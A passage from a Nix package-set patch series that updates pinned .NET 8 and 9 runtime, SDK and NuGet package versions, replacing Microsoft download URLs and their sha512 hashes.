-        hash = "sha512-xSIM7l7VpquZ24ec3HaxTRORBBNBwbIgRXCCBVDgwRkqo7/g4pU4OmkvZmbYXoYsZuWfF0fTynBOfhp/0Qx7RA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.19/aspnetcore-runtime-8.0.19-osx-x64.tar.gz";
+        hash = "sha512-msIOtqYmFd+4LFZXwRWHtiHz5/DHxt0xEd8GFIIJLWPBy1T9Ka2w/kOljGPrLKitMi98cixuR7JLeDhf65PqRQ==";
       };
     };
   };
 
   runtime_8_0 = buildNetRuntime {
-    version = "8.0.18";
+    version = "8.0.19";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-linux-arm.tar.gz";
-        hash = "sha512-kMxr02jsGrcl6egU6ZjDeByl32figzNFwFLtFxBiA7oeiM8CBqx8M/gT0D8xZFQEAtvLi+DTa9j77847LfBNTw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.19/dotnet-runtime-8.0.19-linux-arm.tar.gz";
+        hash = "sha512-sqsF9qKc/yuEQCEbxZGvCTD7Hp0IKxgLleYbfU4bP3n9KnKbKbqrcRSHgNksZGGOz4xWqM86ymIq+yn0h3Adgg==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-linux-arm64.tar.gz";
-        hash = "sha512-fZagkKLlbzk/wyOF2hRRU12/Tk2Y7cGSsa5uoNCX5megWYKMfyN1+sa8J1+Nsdg/XNJipx/vbCgkHKriIpuqPw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.19/dotnet-runtime-8.0.19-linux-arm64.tar.gz";
+        hash = "sha512-E/VgfaousPmg+2o2GT0oq8lFQgivVXPai8X+9cvrcLGH3q2valKz1G/cxZyFZ9t3wpN3XP12pD6B/5nEtCUFjA==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-linux-x64.tar.gz";
-        hash = "sha512-FddUoByTGD6pi9YI8mkRk8hvKE7H/t38gQ+tkZ4ve6INQeHeRXifwdmsn82L6C1Jy4/kxHHeyJL5EnL+ouU/CA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.19/dotnet-runtime-8.0.19-linux-x64.tar.gz";
+        hash = "sha512-D2buVk/JqGuOrlQD9DGvWVZeYvXrWfblA3fnLFitJFUts7cuz9gkuFCkI0+u2yE5g7icxHk3L8Q2pVP7CGu5qA==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-linux-musl-arm.tar.gz";
-        hash = "sha512-HFrhWlR+KZEHHzjmn/xwbpP5PCQbvLGJGBV6QttSjV5aHz7eAenPDRcbHzJcvebdN0fELGsLpFvFX5AqlwWkfQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.19/dotnet-runtime-8.0.19-linux-musl-arm.tar.gz";
+        hash = "sha512-PVaVISyjZ0XjqelPUn0krVhdOL6hcfectHIl/wEEx8b4KBXDFpg+Er5UJquSsmB1XTtE3hRHxqsiVjJuhWFyEw==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-linux-musl-arm64.tar.gz";
-        hash = "sha512-PK/rE2xt8uRfad+mQUZgE/Uacw8VQ1SQGwVVJsRNvVHX4AFyaVHRUkU4cGZk56pu9eRRU43bqDF5icIpvoxIWA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.19/dotnet-runtime-8.0.19-linux-musl-arm64.tar.gz";
+        hash = "sha512-iOLYHKbsUtB/5xA3LQZPKjCJVzXHZNLZrcFI5OR//Iqjd2EDKZfvfTF8KevKvdqcoKmd0fpfF7nslrxtNKiGOw==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-linux-musl-x64.tar.gz";
-        hash = "sha512-qgLhilNFk5IrTwbv0LRHpwFwrXj06jGwiSOSIEPa4bdYAduLBLSdj+JOys9GyFQbsrFGYphgjGRhLpTk0OU2DQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.19/dotnet-runtime-8.0.19-linux-musl-x64.tar.gz";
+        hash = "sha512-NvvF7er4ec5DBE4eEAAgfyKfLxK+5MNSETBHaYAJHIMqdBDc9fN3neITSYeu3C+j94R9v5oxPWJ/IJS/vNMqFg==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-osx-arm64.tar.gz";
-        hash = "sha512-6nk+JQO0Ds9W0738Dfwh/ImeGKlBRLu1D/ZLPcHzg5KnvS9X9hFw7POv5zO7oPwkxdDgAFe33y2o8m/X9pYSyQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.19/dotnet-runtime-8.0.19-osx-arm64.tar.gz";
+        hash = "sha512-FLRqUrgqF5zF0Sk/S8CWgFFHHw5is341Jaj3QR0pkP4Gds4OF/5QsrJIgA7rPRvZvYO+w6UntnDYJeGkxD6Pjg==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-osx-x64.tar.gz";
-        hash = "sha512-ytzK1CKQwAspFPXxRvZ3eUb5Baf+31WMEE7G7GrDHi407ABp/e7cNX9aaRZeoxvsEZPwJNcG6Shmox7ap02e+w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.19/dotnet-runtime-8.0.19-osx-x64.tar.gz";
+        hash = "sha512-utNVjAqIbe35M+ZUKue0G3BhI26hRBcLOeD76bYVunbZ8GVt3Rub6J75MviU7enhtQMC7Qk+oNigDwSuYTZLyw==";
       };
     };
   };
 
   sdk_8_0_4xx = buildNetSdk {
-    version = "8.0.412";
+    version = "8.0.413";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.412/dotnet-sdk-8.0.412-linux-arm.tar.gz";
-        hash = "sha512-J1MURAy/OKN5MRz60BETV5fg1mKKAeD5TQiJ9NsNHFzZ90a4R/WlHSrVpdJpz652lFw/BJfZ4VjMiLr51ZTQoQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.413/dotnet-sdk-8.0.413-linux-arm.tar.gz";
+        hash = "sha512-oC4e1BDUfptlEiZ6y8DNAxW3kYYXrEDczBTsd4mjMbZ2kPBZ9BEruHljP9bxVkVyXdmUM2f38T3z7c15+hwoRg==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.412/dotnet-sdk-8.0.412-linux-arm64.tar.gz";
-        hash = "sha512-BUnSREexHUu0IGyBL10RO/bM45MpmQlNXrwRjdDPldqFrtT7es6UKqaDs5cKPCU+fbneACAnxBiFT4g1SHn81w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.413/dotnet-sdk-8.0.413-linux-arm64.tar.gz";
+        hash = "sha512-eXLic4uNHGtPMvU++U7ny+0Q1gyDrsGQxOmPgj03rv72Ke+ePEyMJrBC/oHgo0qLJtb4EuDJMnRuZqz5UYO4fw==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.412/dotnet-sdk-8.0.412-linux-x64.tar.gz";
-        hash = "sha512-SAYuEiIiJIRcs/ki2ZHHjAZKHdBW5LHIkrYG4konwfVBPcQiIc3PQiXcth4+4CXSp3FZAGaHAJEwM1rFFfWTBA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.413/dotnet-sdk-8.0.413-linux-x64.tar.gz";
+        hash = "sha512-8XM0Z1GykiiHuy+x60j8iN+axiy36OrGl/mkzeF62E+SbdAvuolpaPFCW1ZvujEnt4HavrdKCI7SmpUdQn4Xig==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.412/dotnet-sdk-8.0.412-linux-musl-arm.tar.gz";
-        hash = "sha512-z79sRZmduJcaJq4n02IJEMpd+2KpdfFrWhCq2FxhGd5tkJNH4W/bKrQ5YwFzeSQMT3wEa+gbt1Gqkk2dJdmJeg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.413/dotnet-sdk-8.0.413-linux-musl-arm.tar.gz";
+        hash = "sha512-ksBoosq0fxlR5M+CT2M7+LbshfItMoguDslDwsPUajlGA8wMNnSLgp5Z5y/G1yM8UxVvDPE5jpQQfg9wCM8E9A==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.412/dotnet-sdk-8.0.412-linux-musl-arm64.tar.gz";
-        hash = "sha512-5oOgjDcN4vKWQ/o3Ia2hX2cJeEAuNmJ0G8JW/yjLy2cqNUase6qCUhyny8ol11JzPISQdAqztK4FX746VH1Stg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.413/dotnet-sdk-8.0.413-linux-musl-arm64.tar.gz";
+        hash = "sha512-E4Dd/ccVuDHkWe5IY22KKomqbDSFfkpCimPv/KtA+Iz2xyoHb5shDElsOb3iTdF8Hbn3sRDnJBdOOft0j45LUA==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.412/dotnet-sdk-8.0.412-linux-musl-x64.tar.gz";
-        hash = "sha512-w9+70mppmw73bexLYb57MJLdJbJs68ErAgL6YUb9g2dgzBolGilkCRUHvULZZyLN91iLNmJhyn1+qehJs8zfGw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.413/dotnet-sdk-8.0.413-linux-musl-x64.tar.gz";
+        hash = "sha512-FJDoBh2GZTc1Bts8u/ijC3t9mYhN4C1PbnrOWFLhak+eBhpmir7BzAryHk1aP6Hu6AS2DSSffVaDY7ue4avauQ==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.412/dotnet-sdk-8.0.412-osx-arm64.tar.gz";
-        hash = "sha512-ECe1BpxAO0QczPt/wPglhKpYIgUphhocTyrpHG8wsZ6oSSnedljekvXMuldQT7bisop2A3biAyechPqzVLnxFg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.413/dotnet-sdk-8.0.413-osx-arm64.tar.gz";
+        hash = "sha512-/arqXn//K62/yJS6EXEWp7iKjMBFd86uCgC02MmupTcks6RF3w0oyLF3GskrYrnMaIlcmP8Xkeq2+KPPGb/9AQ==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.412/dotnet-sdk-8.0.412-osx-x64.tar.gz";
-        hash = "sha512-AFCi6otRDtq2pKQOfkW5NaZRunWkcd4ea9Go8bQ4AqouARVn1L5o10SAe3xXwKVT0IWNFn6gpTKXHRAU5aP8qA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.413/dotnet-sdk-8.0.413-osx-x64.tar.gz";
+        hash = "sha512-upOPyvo0MhPC6Bk25MM0Ns0Vsr3N6+g9fQBdv4To8I7KTcSohhUs/QyELxeBY2fj77gTE/ws5L/9Gdau30XTIg==";
       };
     };
     inherit commonPackages hostPackages targetPackages;
@@ -743,39 +743,39 @@ rec {
   };
 
   sdk_8_0_3xx = buildNetSdk {
-    version = "8.0.315";
+    version = "8.0.316";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.315/dotnet-sdk-8.0.315-linux-arm.tar.gz";
-        hash = "sha512-8QeLKXetMCnZHZFhnsJz6qSJYrTFi89/t9CrkdAsnWUeRxHGAY0gJuqlgT5LlDelB2dT4ZcaeDPM0blKKnHO+Q==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.316/dotnet-sdk-8.0.316-linux-arm.tar.gz";
+        hash = "sha512-J+lmqC3341jy5E6HVt2pT4Y8P3AvOA4ee9wV4oR81ZB8mP2r9ZtsGm3GrP5VjtM3Lif9rhpV4tqrqHOIbbGNHA==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.315/dotnet-sdk-8.0.315-linux-arm64.tar.gz";
-        hash = "sha512-OW6R8OlLUUWOkZMgi4dzlJ/CmXSk6neyrT1AQxq8eHF2rA2i42H/O0UAgjb1NzIVt3USiw7oNQM+L+4V/RTphQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.316/dotnet-sdk-8.0.316-linux-arm64.tar.gz";
+        hash = "sha512-AW3tsc75D6zWwWCVwJTCRM+nAo/uCpPycOcDOjpNoiTdgh6OxWPfe/pVUASXwBGBz7WLgInqzfl1HrLoUs7Zrg==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.315/dotnet-sdk-8.0.315-linux-x64.tar.gz";
-        hash = "sha512-USH25zHSrn0TNWKTKfo+sIyLLhvW8Q5tSlS4+D9JouQ6tU+k4NCH2VUSzzxtWWUf6mOBmb/dNGhN3IQ3kFE8Tg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.316/dotnet-sdk-8.0.316-linux-x64.tar.gz";
+        hash = "sha512-5BBlsDpFocllnuRLfvEFpdEnihAZWtqxpvDIp4YaOw1YbrgPBrcUFfRYfq274wT/+qhqwC1StAiHBaroRaZh5w==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.315/dotnet-sdk-8.0.315-linux-musl-arm.tar.gz";
-        hash = "sha512-SnaDa5guhz0TQytx/BEMn13z7gAcd7D39fhlx2wABs+cRKeu9RryGJh2JtycJQ9BrQiC8/tAYWVipTBDHnZ+jQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.316/dotnet-sdk-8.0.316-linux-musl-arm.tar.gz";
+        hash = "sha512-GCJApZWanBSxPFgU/hLEq0dARYifPK/GqaHyoT/Tixz8piQ1Gqlktflg/8tcRLuYEp7y2e70RUp/6sAXU4PknQ==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.315/dotnet-sdk-8.0.315-linux-musl-arm64.tar.gz";
-        hash = "sha512-NytafoFGcI9BBRR2xXDsSrydWVHVAOg/OP/8aW4lj3Ka15SaeF99q2pX3Y+H2UoYq1+nCjCLhyVPtOnZ/5lVQw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.316/dotnet-sdk-8.0.316-linux-musl-arm64.tar.gz";
+        hash = "sha512-HcFgpwPcyB4a8q6kL0FBkaM4R2YyIZp2JTbB0iFP4yC95cx94FspDZonsYce+1bFwd75qXdsQQG0AM3UMcnpRg==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.315/dotnet-sdk-8.0.315-linux-musl-x64.tar.gz";
-        hash = "sha512-T8gmYdg1WcU9+TRaVaG5TrVD7Xcxyga+jpWWw14Ms+PtGf29i0ohYtNDh9jLAjMezAa5FmsrwzBNNnZk/tBYrA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.316/dotnet-sdk-8.0.316-linux-musl-x64.tar.gz";
+        hash = "sha512-/UTCfDKOVgSSl7K9XXqh/DJB+Gd4CL9iT4qmlVu7eyAtSWlAS82BNK3aUicokHP7xpGmwyCc1loe0BtFCcA6SA==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.315/dotnet-sdk-8.0.315-osx-arm64.tar.gz";
-        hash = "sha512-9T7DnkacO6Cqsh3lzTz0JiFNCiL3zFN3nWlz28H3PtbIAOBgdiS6Y/OvaR7F3NNXH+f2KUYAFAPsXzl6AOqOuQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.316/dotnet-sdk-8.0.316-osx-arm64.tar.gz";
+        hash = "sha512-Rs3Wimx5ldX6ioIre9TYc4FlaxXj9aI1jrUPo873lSzXDsrygsOnkL+ck+mWacdhd02DBMtoEheYh6/m3L17vg==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.315/dotnet-sdk-8.0.315-osx-x64.tar.gz";
-        hash = "sha512-anHc1Ui4pjLK/pWKon2zELU04ALg9vNUpfrkb0JXX6TjFVU0MYVK0VVrZR5ybglSKVE/qSsLgMuErwxH6OXJmA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.316/dotnet-sdk-8.0.316-osx-x64.tar.gz";
+        hash = "sha512-uc8FiUjVuz5wMfqDP1IhaiPc9A2mD3vHVLcxVnCFc9WGjyNIGGo7+rWxqYNBxqVfgz7IsMNny80UewEip9gFrQ==";
       };
     };
     inherit commonPackages hostPackages targetPackages;
@@ -784,39 +784,39 @@ rec {
   };
 
   sdk_8_0_1xx = buildNetSdk {
-    version = "8.0.118";
+    version = "8.0.119";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-linux-arm.tar.gz";
-        hash = "sha512-MNxznkN2vwScF/GKRDE8noX7TOC4JuTIkKpdsDANghswWPOuXPrhfDeBZ473YQQvjI9m+TEbbIdVAQ9juJGntw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.119/dotnet-sdk-8.0.119-linux-arm.tar.gz";
+        hash = "sha512-XlKdFdSfvXbJiMSL4zKr5ALd1UJClUJAwvHLYkZSd1kujMdjTxnNseQgBYLKd3ogu3Yc+PyYRV5aupzp440TjQ==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-linux-arm64.tar.gz";
-        hash = "sha512-wgnYjvV4QLc2Dnsoylwimz/I/YLT4bDimXMOm4Aav7Slzm9k3GZ9WGbGJEuv4QtKveakv/czvk1M4HkcvexVnA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.119/dotnet-sdk-8.0.119-linux-arm64.tar.gz";
+        hash = "sha512-y6QVS1UcGCsRhc34mlb/UrtGoTXzS99kGrE0DeqyPubQ8kwHDwt6WuIBBdcdwxURfyit4v+jLCJCvbLpyCUszQ==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-linux-x64.tar.gz";
-        hash = "sha512-2vL4BS3M6u0AWW0fiHsxsZky6m/GRHcAb63X69tWW2zKrawrLDjVe6WNbhVrcq2wlKc1CuodUR53rZZ1SDIaaw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.119/dotnet-sdk-8.0.119-linux-x64.tar.gz";
+        hash = "sha512-L/7DOAoqwj6AHHx1B7OWL/0jKRGtBgJLdLl92stvRoBNj2MZ60x/x7Al9xZ3fUcRAhnK7rwwo7H+kiMGb/ioyg==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-linux-musl-arm.tar.gz";
-        hash = "sha512-WGhhR5827n4KU7+RS+t6weMYVfHnJmPR1+//JKw47gXMlU19Tv2B4y/oyz2/AINyXkwQ3lr3ajCmlCQxhKWKIA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.119/dotnet-sdk-8.0.119-linux-musl-arm.tar.gz";
+        hash = "sha512-XVXCZxX9srBQJE4TZeW3FZ0gbLTsvgXUDxbjtYbVp/vbSQQSr3IXF77mHuF8FtcJyOUY3TywxRxtEcKQp2mgrg==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-linux-musl-arm64.tar.gz";
-        hash = "sha512-B2IERPKgrg21B431M6ryjmVZWqYoJBo9bScTPzqeDhlVLNr6TW3EpBfCejTZfqpxUv6TCsOsgS7rYpdDAnT4Zg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.119/dotnet-sdk-8.0.119-linux-musl-arm64.tar.gz";
+        hash = "sha512-JV5KFwlIKBYCHLwrn7cC3BG9nueksa6M3YnbV202M5moD2Fvftq2RXerNNwGf2BezyR2BuQX26TjxkjrtOppSQ==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-linux-musl-x64.tar.gz";
-        hash = "sha512-6zHGhF86H/XMx7U37cCOtnRRBIUPd+Z1+otVN4A5y7/e3Oy1olcUiJAO2KUTimTj+3MMMFGBbzZqSPmPAKoqMQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.119/dotnet-sdk-8.0.119-linux-musl-x64.tar.gz";
+        hash = "sha512-HO040qC2vVYJdccMiHBotk4JyAUjlZFk/wXw2VaUqbe+c/jrAt7LknGDLpIEtEZkNOo+LIiqujufyshTgzbUzw==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-osx-arm64.tar.gz";
-        hash = "sha512-9oshklflApdjCbtzeUtn8p3ODmlfQFRL0SgnTWQ1yW8TvHv7MolhnNxSuBy3GWA575xRfGsyKHMqo9SR9cy8tg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.119/dotnet-sdk-8.0.119-osx-arm64.tar.gz";
+        hash = "sha512-NNERmqe/mqzEJgaZOu8C0pD13B5snm2aTbCb9JIRe9HX4V1Qt7hp8AlUzUqpfol6HoXvRe9S79TtLoLdKAnpgA==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-osx-x64.tar.gz";
-        hash = "sha512-cXeLlCj2s7Mf2pHlhaIv7aC5VSI77PWQB2d0bpgQIru2MqJrHru9ImaGdFU3aLvbXTJMP1toxwnAYW47jSAVvw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.119/dotnet-sdk-8.0.119-osx-x64.tar.gz";
+        hash = "sha512-A9H6KOJDmrTSCoFRjdOWOSlS80A4AzXQ9i8JRWDmoiQx1Gn0UDd0CtuAfXwCT0KAcJ+XXgUUBrR2nfIlGoHd+A==";
       };
     };
     inherit commonPackages hostPackages targetPackages;

From 0f24b748f65cb6a1a62129f5559cf0e69d043c5a Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Wed, 6 Aug 2025 12:05:13 +0000
Subject: [PATCH 3390/4511] dotnetCorePackages.sdk_9_0-bin: 9.0.303 -> 9.0.304

(cherry picked from commit 6ff2be3db6dc074b8c8a10a511f1f0bc0de778e8)
---
 .../compilers/dotnet/versions/9.0.nix         | 410 +++++++++---------
 1 file changed, 205 insertions(+), 205 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/versions/9.0.nix b/pkgs/development/compilers/dotnet/versions/9.0.nix
index b410bbd84b46..adb4ab08242b 100644
--- a/pkgs/development/compilers/dotnet/versions/9.0.nix
+++ b/pkgs/development/compilers/dotnet/versions/9.0.nix
@@ -11,28 +11,28 @@ let
   commonPackages = [
     (fetchNupkg {
       pname = "Microsoft.AspNetCore.App.Ref";
-      version = "9.0.7";
-      hash = "sha512-id6IbzqA6pn5TIbYABSCXpPeNwxUGZuMHbMnjeMs+GQIMFFf2Yr5BUy2kigmXoBtgx8RYHDT3PzOrRvcfX908A==";
+      version = "9.0.8";
+      hash = "sha512-HSxwnf37OGRcVt9qq6zwaPoqnve6MXpwjq/gzTagXAJTM3AgYE7gtAzFKUPj2/yYLAgdHEi2y+7N4e6LJXJAQQ==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetAppHost";
-      version = "9.0.7";
-      hash = "sha512-TeNH3NfbaRL2t1vTSwK1nR41if3XBsvxIXl5XDeVBKp9uJ++D9S98KkNEAUAJLyV+6AZGgcDPlDSG5KjiZZ4vg==";
+      version = "9.0.8";
+      hash = "sha512-14cuFcWzlQUTtNwpeVNCP0q9bUfdm0lXFGd8fP47uulSBIJlcvUmucas1BpSmB9ofsVC+jcmkLr7EvK/l2zCXQ==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.App.Ref";
-      version = "9.0.7";
-      hash = "sha512-spN1zg0NHM482nnpPzXZYJKgxT+A44KLSswXbsTf+bDWdoZpMeBcODz3pNAz2Fg5PIcpR6amQgTy/G0JHoDqrw==";
+      version = "9.0.8";
+      hash = "sha512-rXC+UlNcK0NDSKCc6NTc6KGlBSKXvu0hP/oamJ0+6mgETnlySbRimOOp9ZOipoXitRk7sXdWBQH7F4Jy1UEFyg==";
     })
     (fetchNupkg {
       pname = "Microsoft.DotNet.ILCompiler";
-      version = "9.0.7";
-      hash = "sha512-SiLChOzRKjrQHquCUytslPdSTgzUV8VHIvT7bertBM7BaidvQDfkl+0O7zrdxEUeN8ppHAsV1ZP+l5tPZiHv8w==";
+      version = "9.0.8";
+      hash = "sha512-LVju0J0eNHVvP8nQUmCiJIWTZrAo1TPoNRtMe4mB8WpqW+VzOHNkKNqycTCPxJ2ytN5DlQL055LtSLW7+lS/4Q==";
     })
     (fetchNupkg {
       pname = "Microsoft.NET.ILLink.Tasks";
-      version = "9.0.7";
-      hash = "sha512-Y1X3qXOXHD22H1IAFk8BRFehz48zEkiZr/xdQ0eop3xVFvkiSitzVGhGTsE5cA3JG1/5lItxqJLozjnf1RsNVw==";
+      version = "9.0.8";
+      hash = "sha512-qa9R51SRJWc9SdEM3BGVEnV3AQm9rSQ6EjBELmcwE6mUymrLCSnHu3HcEh6BNtj3Jb1mk4i/mU1dWag/C+qdMg==";
     })
   ];
 
@@ -40,118 +40,118 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm";
-        version = "9.0.7";
-        hash = "sha512-0hSN5Dz16LRR+ddZh7NjEqOEYsj1Ba07/Ouo9HbUrT6/PJ1XtsK1tdpwoJJgrpKrw+n6JyqpaMKpS4f9oNYNhA==";
+        version = "9.0.8";
+        hash = "sha512-U7dmRLkAb8vAO0UlHXtPHsljYS8XRZW2GnTc/3KCvtnePTQvVaOwAr7iLyY5buPykg9Pd88wwzBBOtF/97mlsw==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64";
-        version = "9.0.7";
-        hash = "sha512-wuO6tQcWJj1GKWXpPhoFvobx99K0xy0C1Z8ZACvHhRuWoN1CKfPzC5vU2w/9zCCbLR9iDWYrcC0VdrduMJ+BOQ==";
+        version = "9.0.8";
+        hash = "sha512-N4tnUp+0xdKb/m0tmHBic2YKlO3oWluKGtf5nd3eRZmtUdHQOCOjwCZzzSG1TW4MMIBbtc0ul21CeDd3xTghCA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.7";
-        hash = "sha512-MSJVLRiLk+L3NjJBx5sn8tZVEGCppOapb6Zie8nebplwo1ifRtcIf6BDRVSv8V9wBh3uI38jJOQwhcqLUY2ehw==";
+        version = "9.0.8";
+        hash = "sha512-01bVanORYWTIBcqg8SJfqVrWcadM/u9MYe6Y35fKjTm+S7nqmyXXxkJqsSW1nSiVTKLopIomBZU0vF6s6EHwXg==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-x64";
-        version = "9.0.7";
-        hash = "sha512-aW8mtPF46qa4i+GrHv8OUiPam/x4xYGOUKt/pUPIFz9j9SMrKXgw0mHK/H+j2qHknN4Ozy6OtcTUxpIdxkmw6g==";
+        version = "9.0.8";
+        hash = "sha512-4JvBQlwuNpWip4n/jOMirgb+KTq40S1dHcq5/nBmojKRMARUU/lJiUqdH85NRamUE5iJocNsndWMLuqfJg9BaA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.7";
-        hash = "sha512-9Ihz6lNAQ9IyiGNSD9fGMKYv+0NQQqAZVpn/GbHpTRIlC4ULGELRcHerEP29D2r1ugtZPyrtR2s8EAmMA42MdQ==";
+        version = "9.0.8";
+        hash = "sha512-rRu/lQKiSzP5a0Jo0Y+gD6dF26ZeRXkJWoRwxYGmj1NowU3DedL4tidTdFSVDJJ7p8jGLRhDB6x+MjpE05QL+g==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm";
-        version = "9.0.7";
-        hash = "sha512-L52p4oNNHR31GlGLgxekjOUM8EL0i1g+X/RRBFvaUdgCy9Uo1RCpsWX3aKaY2Ca93H3aa8wQBsMFCk/3HG9vDQ==";
+        version = "9.0.8";
+        hash = "sha512-vWcLP1paVt0v4fwHJB0GYYybIhfMFCiD/hdg7Vfnvm1kkNOARP88U9xfSMhYN/EBxMzG2Q29kI6e6vTMrXrVNg==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64";
-        version = "9.0.7";
-        hash = "sha512-F8YKtHc6Z9KRAo1roiwNnqYCIC4OmGQmq/u1dwumD5Rt6dhRBnbzSVh7wl6OKRADLiX9MevObQ1EqY+pArvk6Q==";
